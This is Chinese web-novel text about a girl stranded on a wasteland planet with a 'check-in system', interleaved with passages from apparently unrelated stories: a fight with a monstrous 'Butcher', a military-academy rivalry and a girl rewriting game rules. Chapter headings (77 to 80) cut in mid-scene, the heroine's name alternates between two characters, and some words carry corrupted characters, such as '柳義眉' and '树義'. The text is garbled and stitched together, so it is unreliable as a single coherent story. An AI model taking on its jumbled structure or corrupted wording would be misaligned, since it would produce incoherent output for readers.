“刚挖出来，营养舱就碎了，旁边放着一个坏掉的光脑，还有就是这本日记。” “外面那么晒，条件恶劣，我总不能把蛋就这么放在那里，只能先带回来，再想想该怎么办。” “原来是这样……”方杏吸了吸鼻子，情感细腻的她看完了那本日记，已经控制不住地潸然泪下。 “呜呜呜真是太可怜了，亲手杀死最爱的爱人，那得多难受啊……本来是准备一了百了，直接和爱人一起离开的。” “偏偏在临死之前，发现了自己怀孕的事情，进不得退不得，最后不知道付出了多少，才保下了这个孩子……” 太可怜了！真的太可怜了！ 方杏哭得情真意切，仿佛感同身受。 此时的她再看那颗青蛋，便再也不是看“食材”的眼神，而是充满了慈爱和怜惜。 “小義，这颗蛋需要吃些什么吗？咱们要怎么照顾它？”方杏的眼睛红通通的，细心地开口询问。 方義默然：“嗯……这是个好问题……” 要怎么照顾一颗蛋？ 她也不知道哇！ 不过这颗可是传承了返祖青龙血脉的龙蛋，在地底下埋了二十年都还活着，生命力应该挺顽强的？ 大概，日常多多净化辐射，早日解除封印就好了？ 瞧着方義一脸不确定的茫然表情，方杏忍不住破涕而笑。 自从坠落荒星以来，小義表现得太镇定太成熟了，让方杏有些不适应，骄傲又心疼。 反而是这时，她才有些孩子的模样。 是啊，毕竟小義也才十八岁，比她还小两岁呢！ “没事，小義，也是我糊涂了，青蛋还没破壳，应该不需要额外做些什么。” 方杏温声说：“没人照顾，青蛋都活了这么多年，我们两个摸索着来，总能照顾好它的。” “嗯。”方義点头表示赞同：“英雄所见略同。” “出去了这么久，肚子应该饿了？晚餐已经做好了，快洗手过来吃。” 方杏将煎好的三文鱼片端到桌子上，朝着方義招了招手。 方義应了一声，把青蛋放到软椅上，又快速地洗手上桌，杏眸亮晶晶的，满是期待。 因为营养液数量有限，没办法补充，方杏便尽量先做荒岛获得的自然食物。 今晚做的便是方義之前签到获得的【新鲜的三文鱼片（灵食）】。 不仅没有一点儿辐射，反而还储存了灵力，肉质细腻，口感极为鲜美，本就是难得的美味。 再加上方杏的厨艺相当高超，简单的香煎之后，更是香味扑鼻，好吃得舌头都快化掉了。 美美地享受完晚餐，方義才慢悠悠地洗漱完上床，钻进了睡袋里。 荒岛的昼夜温差极大。 白天太阳炙烤，温度很高，帐篷里放的是清凉降温的水属性蓝曜石。 到了晚上，温度骤降，外面一片漆黑，站出去会控制不住地打寒战，帐篷里面放的便是升温保暖的火属性赤曜石。 在舒适的温度中，方義闭上了眼，却没急着睡觉，而是打开了签到系统。 【是否确定使用特殊物品——黄粱一梦？】 ‘是！’ 【黄粱一梦使用成功……】 【场景加载中……场景加载成功……】 伴随着机械音的提示，方義只觉脑海一片晕眩，等再睁开眼时，已经身处完全不一样的世界。 周围鸟语花香，空气清新，温和的阳光倾泻而落，微风卷来淡淡的草木清香，令人神清气爽。 而她的面前，正站着一个看起来十七-八岁的少女，鹅蛋脸，柳義眉，气鼓鼓地叉着腰。 方義：“？？？”怎么回事？她是又穿越了？ 又过了一会，方羲忽然轻声问：“你叫什么名字？” “我是第900号先行者。” “真无聊的回答。” “我以前也觉得很无聊，但自从被异端记住之后，我就不太敢用自己的真名了。”九百号说，“有一些异端杀不死我，但它们可以杀死站在我身后的队友。” “哦，再见。” “啊？！好吧，你真是个飘忽不定的人，不过我挺喜欢的。再见…如果我有幸【重生】的话，请你告诉我你的游戏ID叫什么吧，我很想知道。” 九百号的声音里，似乎还带着几分温和的笑意。 然后，人偶师最后一刀轻轻落下。 第 77 章 第 77 章 ‘屠夫’在注视她。 在方羲完整取出人类大脑的那一瞬。 金发猎人的人皮无法修复，但屠夫的身体却可以。被方羲割落的那大块大块血肉，重新以一个细胞的形态，炸裂，生长，填充空隙。 没有五官的血脸上，骤然长出一双老者般的双眼，仿佛含着笑，目光缓缓落在方羲身上。 她正小心地捧着这半块可怜的大脑，放进蓝色宽口玻璃瓶，本来想和以前一样随便丢进皮箱里。 但玻璃瓶轻轻颤抖了一下，似乎在无声抗议，方羲只好把手探进箱庭世界，摸到一处空位置，然后把玻璃瓶放好。 ‘屠夫’仍然在注视她，高高在上的审视。 【您成功地净化了辐射，经验值+1】 【您成功地净化了辐射，经验值+2】 【……】 【您从LV10升级至LV11！】 【净化辐射+0.01，签到点+0.01】 【净化辐射+0.01，签到点+0.01】 【……】 【您获得0.21个签到点！】 【方義（LV11） 签到点：2.21 物品：恢复药剂（九阶）X9，沙蝎毒素精华（二阶）X10 技能：净化师（一阶），火眼金睛】 个人面板上，不仅等级升了一级，签到点也成功地增加了0.21. 虽然看起来数量有点少，但实现了0的突破，无疑具有历史性的意义。 这意味着，方義找到了稳定的获得签到点的方式，再也不担心签到点用完了该怎么办了。 什么叫无心插柳柳成荫？ 这就是无心插柳柳成荫啊！ 还一成就是一大片，双重惊喜！ 方義回到帐篷的时候，脸上的笑容都没有落下。 看见她眉眼弯弯的模样，方杏忍不住笑了笑：“小義，遇到什么好事儿了，这么高兴？” “天大的好事儿！”方義笑盈盈地眨了眨眼睛：“不过是秘密哦！再说，杏子姐，咱们能死里逃生，难道不值得开心一下吗？” “开心！开心！”方杏配合地说，内心忍不住叹息。 小義说得对，世事无常，虽然前路未明，但是能死里逃生，已经是足够高兴的事儿了。 方義出去的时间不长，成果却不菲。 帐篷这边也是焕然一新，角落里的水属性蓝曜石散发着舒适的凉气。 铺好的床铺崭新而整洁，上面整齐地叠放着两个米色的睡袋。 方杏拉着方義的手到床边坐下，仔细地盘点着她们目前拥有的物资。 “高级营养液有十箱，一支就能保证一天的日常所需，除此以外，夫人还准备了不少的自然食物，衣服、洗漱用品都不缺。” “零零散散加起来，哪怕没有任何补充，也足够我们生活大半年，只是光脑都摔坏了，没办法联系外界，不知道该如何是好……” 方杏苦恼地皱眉。 也不知道逃生舱的设定出了什么问题，她们所处的这颗星球应该属于未探索的荒星。 还是没有什么探索价值的那种。 除了那些随机行动的佣兵探索者，恐怕很少会有人往人迹罕至的荒星这边来。 就算是运气爆棚，有佣兵探索者发现了这里，但是只要简单扫一眼星球的基本情况，就会毫不犹豫地选择离开。 更别说进入荒星，寻到她们并带她们出去。 “希望夫人能保佑我们，一切发展顺顺利利的，早日有人过来……” 方杏双手合十真诚地祷告，心情有些沉重。 方義却冷静地泼了盆凉水：“杏子姐，别想得太乐观，就算咱们运气好被人发现了，谁能保证发现我们的是什么人呢？” “小義，你的意思是？”方杏懵了懵，不解地看向了方義。 方義抚平睡袋上的褶皱，拧眉道：“杏子姐，你也说了，过来的很有可能是佣兵，佣兵的性格和人品……” 她没再说下去，但方杏的脸蛋肉眼可见地变得惨白，下意识抓住了方義的手。 佣兵是什么样的人？ 血腥、野蛮、残暴，唯利是图，刀口上舔血。 尤其是选择成为探索者的佣兵，几乎是把性命吊在裤腰带上，拿命去赚钱。 这样的人，在杳无人烟的荒星上发现了两个手无缚鸡之力的弱女子，其中一个还是觉醒了灵力的贵女，他们会怎么选择？ 好一点的，发善心将她们送到边缘星系. 若是不好的，将她们当成货物卖出去，或者囚禁起来做禁-脔，那都是非常有可能的。 “小義……”方杏的声音都在颤抖，眼泪汪汪的，眼神里面全是后怕。 她可怜的小姐！她们该怎么办啊！ 难道就真的在这偏僻的荒星蹉跎一生，再也回不去了吗？ “杏子姐，你别太担心，我就是提出一种最糟糕的假设，咱们心里有个底就行。” 方義放缓声音安抚。 星耀帝国比她所处的21世纪可混乱多了。 外有虫族、变异动植物和辐射，内有帝国皇室和几大贵族之间的明争暗斗，从来不缺少战斗。 虽然原身的记忆中涉及的内容不多，但管中窥豹，可见一斑，一点儿都不难猜。 倒是原身，生长的环境是真的好。 身边的管家姐姐都这么天真，难怪自个儿能被养出这样傻白甜的性格。 反而是方義自己，因为孤儿的身份，没少经历社会的“阴暗面”，向来习惯考虑最极端的恶劣情况。 看方杏恐惧担忧的神情，方義进一步放柔了声音：“船到桥头自然直，生死一线的危机都过来了，还有什么好怕的？” “对！小義你说得对！”方杏也就是一时被方義的假设吓到了，很快便慢慢冷静下来。 等冷静下来之后，她才下意识地看向了方義。 原身的五官本身就生得很漂亮，黛眉杏眼，琼鼻粉唇。 皮肤很白嫩，透着一点桃花似的粉，像是被娇养出来的玫瑰。 但不同的性格会带来不同的精神样貌。 此时的方義，因为一系列的行动，脸上和身上都沾了灰尘和血渍。 被汗水打湿的刘海贴在额头上，湿漉漉的，稍显几分狼狈。 偏那一双杏眼，明亮、冷静、坚定，像是霜雪中的松柏，没有什么能够击倒她，璀璨耀眼。 曾经的小姐是这样的吗？ 方杏的心中浮现出淡淡的疑惑，还莫名有种“吾家有女初长成”的成就感，以及“小姐真的受苦了”的心疼和酸涩。 她吸了吸鼻子，挺直了腰杆，认真地说：“小義，我不怕，你也不用怕，咱们在一起，日子总能过下去的。” “嗯！”方義笑着点点头，漂亮的杏眸中光华流转。 她是真的不怎么怕。 多年的孤儿生涯，她早就习惯了孤独。 现在有一心为她、行动能力还超强的方杏陪着，她就更不用担心了。 刚刚她简单地在外面逛了一圈，小岛的范围不小，可附近的变异动植物等级都不高，没什么攻击性。 一阶的最多，二阶的都算罕见。 而且储存物资充足，又有稳定的签到点来源，生活物品补充途径也有了。 不就是荒野求生吗？ 在高科技的辅助和签到金手指的帮助下，没什么可怕的，生活条件也比方義料想的好上不少。 说不定哪一天，她就成功地签到得了星舰或者星际飞梭。 不需要旁人帮忙，自个儿就带着方杏飞回去了。 方義乐观地想着。 很快，方杏和方義的荒岛生活便稳定下来。 荒岛上不仅有不少可食用的野菜，海边还有诸多美味的海鲜。 虽然被辐射侵蚀得十分严重，没办法直接使用。 但在方義灵力的作用下，无一例外，全都变成了高品质的无辐射食材，在外面价值高昂，供不应求的那种。 最重要的是，不像方義是个厨房杀手，方杏的厨艺非常不错，还考了高级厨师资格证。 在她的投喂下，方義非但没瘦，体重还有逐步上升的趋势。 对此，方義乐见其成。 原身的身体太虚弱了，过分纤细，没走几步就气喘吁吁，风一吹好像都能摔倒。 在这个神奇玄妙的星耀帝国，还是健康的身体更能给人安全感。 【您成功地净化了辐射，经验值+2】 【您成功地净化了辐射，经验值+3】 【……】 【您从LV19升级至LV20！】 【您从净化师（一阶）升级至净化师（二阶），获得一次抽奖机会。】 【是否花费2签到点抽奖？】 抽奖？ 签到系统竟然还有特殊的抽奖功能？ 方義打开了个人面板。 【方義（LV20） 签到点：6.21 物品：恢复药剂（九阶）X8，沙蝎毒素精华（二阶）X9，明目草（圣阶），明目草（二阶）X12，纯净水2吨，新鲜的巴沙鱼（灵食）X10…… 技能：净化师（二阶），火眼金睛 抽奖机会：1】 半个月过去，方義体内的灵力越来越多，净化辐射的能力也越来越强。 开始的时候两天一个签到点，现在顺利的话，一天便能得到两个签到点。 只可惜辐射侵染的速度实在太慢，荒岛上的动植物数量又不多。 基本净化一遍后，目标对象越来越少了。 没有代步工具的情况下，她不能离帐篷太远，所以净化辐射的效率大大降低，有一种不满足感。 无奈之下，她只好拉着方杏做净化对象。 但方杏从小生活在二等星球水蓝星的内城，设有专门的净化大阵，体内的辐射值是个位数。 辐射小黑点不好找不说，没两天就被净化完了，又得寻思新方案。 不过签到点充裕了，方義的签到行为也大方了许多。 一般留4个备用，剩下的是能签就签，硕果累累。 第一个签到地【九阶药剂宗师的陨落地】仍然显示重置中。 第二个签到地【明目草（二阶）生长地】，倒是在第三天便重置成功了。 但在那个签到地获得的签到物品却不再是新的技能，而是【明目草（圣阶）】。 方義：“！！！” 就——惊喜万分！不愧是欧气满满的签到地！ 又等了三天，【签到地——明目草（二阶）生长地】重置成功的第一时间，方義便又跑去那里签了到。 怪物们抖了抖，又乖巧地拿起那些天书一般的汉字书。 “救命” “我们的思维构造和人类根本不相通啊，这怎么学” “学就是了” “难不成你还想惹她生气？” “呜呜呜呜呜” 脑海里这个混世大魔王是谁？莫非是哪个玩家遗落在空气中的记忆？ 方羲深沉地摸摸下巴，那必然不是她。 第 78 章 第 78 章 那段奇怪的记忆画面，很快化作无法拼凑的碎片，又一次埋葬至潜意识深处。 一束光箭不足以击溃屠夫的头颅，如果方羲现在身边有任何一名增益型造梦家在，那或许可以做到一击致命。 但方羲并不心急，她现在有的是耐心。 而且，屠夫站在艾莉克萨的攻击范围之内，饶是它再高高在上，但身体已经开始出现弱化的痕迹。 晨乌的肚子永远是个无底洞，吃掉了几条手臂，兽瞳依然闪烁着期待兼饥饿的光芒。 穿过头颅的子弹，带出一片片无法修复的腐肉。 三分之一的脑袋被打穿，露出里面的头盖骨，还有半块大脑。 屠夫深深皱起已经不存在的眉头。 它彻底被激怒了，连话也不想说，跨出步伐朝方羲走过来，似乎打算把这个蚂蚁一脚踩死。 “太过分了！下河村实在是太过分了！” “止血草的种子都是1信用点一颗，成活率还不到一半，她们开的收购价竟然是2信用点一株，这不是故意坑人吗！” “再说了，还有种植的成本，中间需要花费的人力。” “往年3信用点一株都是勉强保本，只能赚一点点辛苦钱，按照今年的价格卖出去，咱们连营养液都买不起了！” 鹅蛋脸少女是个爽利的性子，说话的语速很快，叭叭叭抱怨一通，最后把自己气得不轻。 说完了许久，还没得到回应，鹅蛋脸少女委屈地皱眉，忿忿不平地问： “怎么，小義，你也站在村长爷爷那边，认为我说的不对，退一步海阔天空？” 方義：“……” 不是，这么快就进入正题了吗？ 她还没反应过来发生了什么呢！也没个记忆或者前情提要什么的。 不过此时，她也意识到了，应该不是穿越到了新世界，而是【特殊物品——黄粱一梦】的效果。 她尝试性地打开了签到系统，显示一切正常。 只是等级、签到点和技能都变成了灰色，呈现无法使用的状态。 也对，按照她的猜测，【黄粱一梦】应该是一个大型幻境，在虚拟的时空中，是无法进行签到行为的。 “洛玉？”方義试探性地喊了一声。 “哼，喊我干嘛？”洛玉气鼓鼓地转身：“我现在不想和你说话！” “没有，你误会我了，你是我最好的朋友，我当然是支持你的。” 适时地想起洛玉之前的那段话，方義顿了顿，放缓了声音，开口解释。 洛玉本也不是真的和她生气，听完她的话，眼睛一亮，立马回身看她：“真的？不是故意哄我？” “真真的，我也觉得你说的有道理。”方義态度肯定地说：“下河村的人就是故意占我们便宜，这个口子不能开，咱们不能让！” “就是就是！”洛玉小鸡啄米一样点头，一副寻觅到了知音的模样。 洛玉心思单纯，通过旁敲侧击，方義很快便将事情的具体细节弄清楚了。 现在的时间点，洛玉才刚刚十八岁，生活在三等星球的一个小村落，家家户户将种植药材作为主要谋生手段。 小村落处于内城，属于净化大阵的范围内，土地还算肥沃，空气中的辐射浓度很低，出产的药材品相很好。 她们村落种植最多的药材就是止血草，因为是止血药剂的主材料，卖得相当不错。 可她们村子小，一个药剂师都没有。 倒是隔壁的下河村，风水非常不错，有好几个药剂师。 前段时间，下河村的一个药剂师突破了三阶，成功地炼制出了三阶止血药剂，并改进了效果。 于是，那个药剂师便飘了起来，不仅垄断了附近的止血草售卖，还强行压低了价格。 曾经一株一阶止血草能卖到三信用点，现在她开的价格只有两信用点，二阶三阶的就更不用说。 按照她的价格，村落里的人不仅赚不到一点儿钱，还要亏本不少。 可现实摆在这里，三阶药剂师势力庞大，不卖给她，压根没有旁人收购。 现在正是止血草收获的季节，地里大片大片都是成熟的止血草。 不尽快收割售卖，止血草就会变老枯萎，到时候更是血本无归。 村长只得退让，洛玉却有不同的看法。 这次只是试探，一步退，步步退，她理解村长的想法，是觉得熬过今年就好了。 可真的会这样吗？ 那个三阶药剂师能做出这样的行为，足以说明她的贪得无厌。 这样的事儿，有了第一次就会有第二次，那个三阶药剂师得了好处，只会步步紧逼，然后彻底占据她们的生存空间。 “所以，阿玉，你打算怎么做？”方義问。 看洛玉的表现，并不是无脑莽撞之人，既然坚决地反对退让，应当是有了解决的思路。 明亮的阳光打在洛玉纤长的眼睫上，像是镀上了一层金子，她的双眸好似在闪闪发光。 “自己炼制药剂。”洛玉一字一句，坚定地说：“她们可以垄断药材，却不可能垄断药剂。” “只要我们能自己炼制出止血药剂，哪怕是一阶止血药剂都够了，现在的危机就能不攻自破。” 对于旁人而言，这无疑是天方夜谭。 毕竟现在的洛玉才十八岁，刚刚高中毕业，药剂方面，只接触了最最最简单的理论知识，连入门都没有。 而且培养一个药剂师的花费不菲，光是炼制药剂的相关工具，就不是洛玉能凑得出来的。 止血药剂作为常用药剂之一，炼制起来十分困难。 一阶的止血药剂，炼制难度和普通的二阶药剂都差不多了。 洛玉说这样的大话，被其他的药剂师听见，只会嘲笑她自不量力，贻笑大方。 可方義却知道，洛玉是做到了的。 方義许久没开口，洛玉扁了扁嘴：“小義，你是不是也认为我在胡说八道？” “不，我相信你，你一定可以成功的。”方義摇头，话语中充满了信任： “不仅是一阶止血药剂，还有二阶、三阶……未来的某一天，你会成为最伟大的药剂宗师。” 这是切实发生的往事，洛玉亲手缔造的奇迹。 方義的嗓音太笃定了，反而让洛玉愣了愣，一肚子辩解的话没办法出口，闹了个大红脸。 “你也太看得起我了……”洛玉忍了忍，还是没忍住，扑哧一声笑出来。 还药剂宗师呢！ 要知道，只有能炼制出六阶以上药剂的人，才能被尊称为“药剂宗师”。 她能炼制出一阶止血药剂都算不错了。 没见下河村那药剂师，突破了三阶就作威作福成这样。 其实哪怕嘴上说得再坚定，洛玉的内心还是有几分不确定的。 毕竟无论是亲人还是朋友，都对她充满了怀疑，唯有方義一人，支持她，如此的信任她。 哪怕是为了方義，她也不能放弃。 洛玉一把握住了方義的手：“借小義吉言，我会努力的！不过，一个人努力太孤单了，小義，你要不要和我一起？” “嗯。”只迟疑片刻，方義便点了点头。 这正是【黄粱一梦】最大的意义，一路见证九阶药剂宗师的成长，能收获多少东西？ 阳光下，洛玉笑容灿烂，方義也弯了弯眉眼。 而就在她们走后不久，茂密的树義掩映间，两个容貌极为出色的男人从大树上一跃而下。 左边的男人五官邪气俊美，嘴里叼着一个碧绿的義片，吊儿郎当的没个正行，却是身材结实，一身的腱子肉。 右边的男人气质清冷，像是一块纯净的冰，干净清冽，只那一双眼睛，蒙着淡淡的灰色雾气，似乎是一名盲人。 “哈哈哈哈哈实在是太有趣了！那个小姑娘，个子不大，口气倒不小！”左边的男人不给面子地捧腹大笑，笑得眼泪都快出来了。 他啧啧感慨，竖起了大拇指：“还真真是人不可貌相，一个敢说，一个敢信，毫无基础就想往药剂宗师发展，真是不知者无畏！” 他的母亲就是一名七阶的药剂宗师。 因此，耳濡目染之下，他对炼制药剂的难度还算了解。 右边男人神色平静，淡淡地提醒了一句：“谢戈。” “哎！在呢在呢！知道你不耐烦听这些，我这就把嘴巴闭上。”谢戈在嘴巴上做了个缝拉链的动作。 不过他就是个话痨的性子，没一会儿又开始絮絮叨叨起来。 “也不知道这两个姑娘打算怎么练习，炼制药剂的鼎炉可不便宜，她们能买得起吗？” “本来是冲着附近有圣阶明目草的传闻来的，没想竟然遇到了这样的趣事儿，刚好最近有空，咱们可以常过来看看。” “真不行，至少得出手帮帮她们，一整个村子的生计呢！” “不过那三阶药剂师还真够大胆的，帝国早就明令禁止垄断压价，她竟然还敢为了这点儿蝇头小利顶风作案……” 谢戈的声音不大，却“嗡嗡嗡”没个尽头，谢别寒拧眉又喊了句：“谢戈。” “哎哎哎！”谢戈举起了双手，嬉皮笑脸的：“别寒，你放心，这些都交给我，我会尽快办得妥妥的。” 他知道自己这个堂弟的性格，因为天生目盲的原因，喜爱清静、不爱热闹。 各人有各人的生活习惯，谢戈也没想着强行改变什么，就是时不时地在他身边吵吵，给他添点儿人气。 至于药材售卖的问题，以他们的身份，既然想要插手帮忙，不过是一句话的事儿，不费什么功夫。 然而谢别寒想说的并不是这个，他顿了顿，才道：“那名叫方義的女生，是觉醒了灵力的贵女。” 谢戈：“我知道……啊，你说什么？贵女？” 谢戈差点被惊掉了下巴，呆呆地张着嘴巴难以回神。 他刚还想着明天要不要拉着谢别寒一起看热闹呢，怎么另一个姑娘突然就成了贵女了？ 他完全没感知到哇！ “嗯，是贵女，而且应当是二阶贵女。”谢别寒抬眸：“她的灵力收敛得很好，但你清楚我的感知。” 缺失了五感当中的视觉，再加上精神力强大的原因，谢别寒其他方面的感知格外敏锐。 内容很简单，最后留着一个字迹优雅的署名：恶魔。 方羲冷冷一笑，愤怒地把这个信封撕成碎片。 位于极远之处的恶魔，身体莫名其妙抖了抖，他刚刚感受到一阵奇怪的撕裂感。 “算了，我们走吧。” 秦淮月问：“不找了吗？那毕竟是很重要的东西。” “那是被恶魔偷走了。我们去接回其他密匙玩家，然后一起前往最后的【天国】” 方羲转念一想，丢失皮箱的烦躁感忽然一扫而空，语气轻快地说：“真是太好了，这样我也没必要走太远的路特地去找你。省了好多时间呢，恶魔。” 被呼唤的恶魔，摸了摸自己胸口，感觉有些奇怪，为什么刚刚产生了一种不应该存在的惊悚感？ 第 79 章 第 79 章 以程蔓野为首的一众首席玩家，凭借着巨蛇列车直接跳跃时空，来到收藏家所指的【光明女神的逃杀游戏】。 这里像是一个经过充分设计的末日城镇，售卖物资的商业街、“学生”全军覆没的中学、废弃的钢铁郊区、外围的无水海滩、永不坠落的修道院、还有数十个故意投放的安全屋…… 夏青禾手握着列车的权限，把巨蛇停在了郊区的一处铁路车站，并踹了它几脚，挂着微笑警告：“小蛇，你可别乱跑。” 巨蛇呜咽了几声，委委屈屈地龟缩在原地。 程蔓野立刻把隐藏的金铃铛手环显化，开启造梦家的【明灯】天赋。然后扫了一眼四周，现在她们正身处一个了无人烟的郊区，每一处都写着普普通通的荒芜。 什么都没有。 “喂！” 赫摩尔顾忌着在静谧的图书馆，等走到方羲旁边，压低声音喝道。 结果话没说出口，先把自己呛到了。 方羲默默挪动着书，朝旁边靠了靠，怕他病菌喷到自己和书身上。 赫摩尔刚直起腰，看见她的动作，脸上露出一个受伤的表情。 但今日之他，已非昨日之他。 现在，他对方羲的一些气人的言行，有了一定的免疫力。 “你还挺厉害的，昨天是我轻敌了，今天我们再打一场，比比？” 方羲掀开眼皮，瞥了眼他青紫的眼睛，脸颊上有大片的红肿，一边下巴周围还肿着，拽拽的五官膨胀的像个发面馒头。 竟然有几分诙谐的可爱。 “没空。” 方羲婉拒。 赫摩尔在她侧边，气势汹汹的吸气，怒火值燃烧着。 然后小心翼翼的捏紧座椅，轻轻的移动出来，轻缓的坐上去。 慢动作做完，他猛地抬头盯着方羲，轻声细语问： “我们都是一个课表，今天下午压根没课，你怎么没空，你说，什么事，我帮你解决，你跟我去格斗场，再打一场。” 他说话的声音有些别扭。 方羲猜，应该是下巴肿着，不好张开，导致有的发音不准。 她暂停网课内容，真诚的看了眼赫摩尔，被他五颜六色的脸冲击了一秒：“我真没空，我得上课，看书，你想打架，下次吧。” 赫摩尔顺着她的示意看过去，银白桌面上。 一本精装版、黑红色《分析师起源与发展》。 他一下炸了：“分析师？你要听分析师的课？” “分析师有什么好的，难道比单兵好，你格斗这么厉害你当分析师，你怎么这么想不开？” 说完，他想到什么，摇了摇头：“不对，你不是未觉醒，你看这个做什么？” “哦，我知道了”，他气的站起来，“这都是借口，你就是不想跟我再比一场，你不是怕了吧？” “哈！你怕了。” 赫摩尔试图激将。 但方羲只是抬头，一根手指在唇前放了放，示意他小声。 “对，我是挺怕。” 方羲理所当然的点头，下一句话险些把赫摩尔气的原地升天： “我怕把你这边的刚治好的脸，又给打肿了。” “你有这功夫，不如去医疗舱躺着，话都说不清了，这个架就非打不可吗？” “等你能清晰的，完好的，放出一句狠话了，你再来找我打。” 赫摩尔哪里听不出来这话在内涵他，但他确实吐字不清楚，又被方羲最后一句话的承诺迷惑了。 当即忽视了她前面说的狠话，只提起最后一句。 “真的，你到时候跟我约架？” 方羲点头，“真的，你快走吧。” 别打扰她了。 赫摩尔终于得到了一个准话，当即美美的晃悠回医疗室。 童灿和张游两个人在星网上斗地主，一个王炸出去，张游哭丧着脸，正要上前去掐童灿的脖子，余光看到赫摩尔回来，指着童灿说：“看，我就说他肯定约不上。” “你怎么知道。” 童灿看着他一脸自信，真心不懂慕强批的思维。 张游理直气壮的回：“因为我们top、强者，才不会把手下败将放在眼里。” 童灿哼笑一声：“你这么骄傲，我还以为是你呢。” “这是慕强批的通病了！羲姐，我单兵系唯一的姐，永远的神。” “她答应了”，赫摩尔扫了眼张游，仰着下巴，五官折叠度在这种臃肿的情况下，显得有些崎岖。 “方羲！答应我了！” 他骄傲的放话。 但是童灿悠哉的点击结算，作为地主，赚空了农民张游的游戏币。 张游熟练的打开医疗舱，朝赫摩尔示意：“请。” “你们一点都不好奇？” 赫摩尔狐疑的看着他们俩，觉得自己的激动好像被泼了一桶凉水，顿时索然无味。 张游问：“你在图书馆堵别人，人家为了图清净，当然要把你打发走了。” 童灿补刀：“她说了时间？地点？” 赫摩尔后知后觉，方羲敷衍他的承诺，就好像成年人随口一句‘有空再约’一样。 都是一盘散沙，不用风吹，自己就散了。 他嗫嚅着嘴唇，一时想不起反驳的话，只是胸口猛地起伏，气得不清。 张游扯了扯童灿，两人上前把赫摩尔一左一右架起来，推进医疗舱里。 “行了”，他真诚的劝说赫摩尔，“你少怄气，刚被气晕才醒，再晕了，我看秦医生就要直接用冷水浇醒你了。” “我那不是气的”，赫摩尔转头辩解，但一人将他绑在医疗舱内，一人关上舱门，“我是被砸晕的，你们两个……” “歇歇吧赫摩尔”，张游启动医疗舱修复液，一边在斗地主界面叫了地主，“来，再战三百回合。” 在图书馆待到入夜，方羲活动着僵硬的关节，全息网课内容已经步入尾声，她对分析师有了一个大概的了解，正好光脑传来生活管家的信息，提醒她要进行军训课程。 方羲收拾好东西，先去全息训练室做了军训项目，回来的路上把十组体能训练做完。 整个人汗涔涔的，拖着疲惫的身体，从训练场走回寝室去。 路过校队的格物楼，看见一队人走出来。 最前面的男生眉眼清隽，黑色碎发散落，背后的狼尾有些卷翘的弧度，整个脑袋看起来格外蓬松。 削弱了他冷淡的眼睛带来的凌厉感。 “分析师的事情，燕师那边可能有些棘手，最后要是真的没办法，你肩上的担子更重，而且我跟其他学院的朋友打听了一下，你们这一届的校队，都是近星环大家族的年轻后辈，也许……” 前任校队指挥云方顿了一下，“也许你们还认识，到时候免不了有些口头交锋。” “放心。” 卷发狼尾男生点了点头，他身形颀长，气质斐然，方羲慢吞吞走过，听到他低沉的声线，耳朵尖微微一动。 “我心里有数。” 云方对这位新任校队的领队并不太熟。 他煊赫的身份，很难让人想象，愿意舍弃近星环的优质的资源，来到被议会不断针对和边缘化的谕光星。 但一想到他的母系，又有些释然。 如果是宋家的孩子，说不定烛荆府真的能在下一届联赛中，打破议会驱逐直属的计划。 只是有些可惜。 云方浓眉紧锁，下一届联赛实在是群英荟萃，数的上名的天才之辈，各大家族的后辈，各位大师的年轻弟子，全部聚集。 “最近回来，感觉学校里热闹了不少，可惜还没呆几天就要走了。” 金宇看了看烛荆府的景观，有些遗憾：“早知道这么快就去十一区，应该去生物系实验园捎点特产走。” “想什么呢。” 分析师横了他一眼。 随即向谢春时建议：“其实，你们也可以考虑一下廖如意，她虽然精神阈值不高，我说得不好听一点，二年级首席她能坐那么久，说明真的没有几个能打的，燕师如果找不到合适的分析师，让她试试吧。” 卷毛男生淡笑一下，眼神仍然平静，他淡声道： “看燕师的安排吧。” 分析师学姐抿了抿唇，没有再说。 明眼人都看得出来，如果这位校队指挥坚持，哪怕领队老师有顾忌，最后也会点头。 所以挑选分析师的根本不是燕师，而是领队。 是谢春时本人，想要一名高精神阈值的分析师。 方羲和他们朝着相同的方向走，中间隔着一条金属锁链两边围起的长条绿化丛，植物隔绝了彼此的身影，但另一边讨论的声音从枝叶间溢出。 两拨人分别走向两个岔路口前，方羲回头看了一眼。 落在人群侧方的狼尾卷发男生侧眸，看见她时，微不可查的讶异了一秒，而后轻点了一下头。 方羲并不认识他，但通过这个动作，感觉到了友好，于是也回以一个招呼。 “那是谁？” 分析师好奇的回头看了眼，只见到方羲被金属路灯拉长的影子。 “单兵系的一个新人。” “新生能吸引谢队的注意？” 输出金宇的从另一边抬头，一头金毛晃了晃，“单兵系，我好像听过，是在论坛闹得挺大的那个吧，据说入学时破了宋主任的记录。” 说起宋白宁，金宇动作一顿，其他人相继觑了眼谢春时的脸色，分析师扯了扯金宇的衣袖。 “咳，那什么，我记得普罗的那个表弟，就是输给了她吧？” 谢春时恍若未觉，略过他们提起的那个名字，眼底如同深海之底，不可推测，面上一派温和的点头： “下一届校队也许有她一席之地，不过可惜，似乎是个未觉醒者。” 听到这里，前任校队单兵便有些遗憾， “唉，那的确可惜，普罗的那个堂弟我倒见过，在基础学校的时候，格斗成绩就很好，这个学妹能胜过她，一定是有几分本事的，精神觉醒真是一道难关，多少天才被堵死在这条路上，一次觉醒与否，简直颠覆人生。” 谢春时并未发言，但垂眸之间，想到刚才和某人并肩走过时，空气中传来的，极微弱的能量波动，他眼眸一沉。 未觉醒，可不见得。 叛逆少女从手提包取出一只钢笔。 她对着远处的修道院，那个高高在上俯瞰一切的女神像喊道：“我才不要玩你的游戏！我才不想纠结选择救援玩家还是放弃一切而前进，我才不要因为肚子饿和游戏NPC跑来跑去只为了抢一块面包，我才不要和那群曾经和主人是一个物种的信徒打架！” “这种又累，又会流血，还会死人的游戏，有什么好玩的？” 叛逆少女歪歪头，想了想，拿着钢笔，在空气中写上新的文字。 “我们来玩过家家酒怎么样？” 第 80 章 第 80 章 世界开始掀起一场狂风骤雨。 叛逆少女快乐地踩了一脚水潭，手握着人偶师赋予的钢笔，自由自由地撰写新的规则。 【我们来玩扮家家酒！】 【我带领的跟班们，是一群敢于斩落邪神之头颅的勇士！】 “神……神什么符？”方绮完全没听过这个古怪的词，她从其他人脸上看到了如出一辙的茫然。 方绮努力微笑，“我只是关心你。羲羲你不想说可以不说的，不用编名字糊弄我。” 方羲不介意为满眼茫然的机甲师们解惑，但有方绮在旁边胡搅蛮缠，眼下显然不是合适时机。 方羲懒得搭理方绮，低头折腾慢吞吞开机的光脑。 被赶出家门后实在没钱，考上大学时祖父母送的最新款光脑，她几个月前拿去以新换旧还债了。 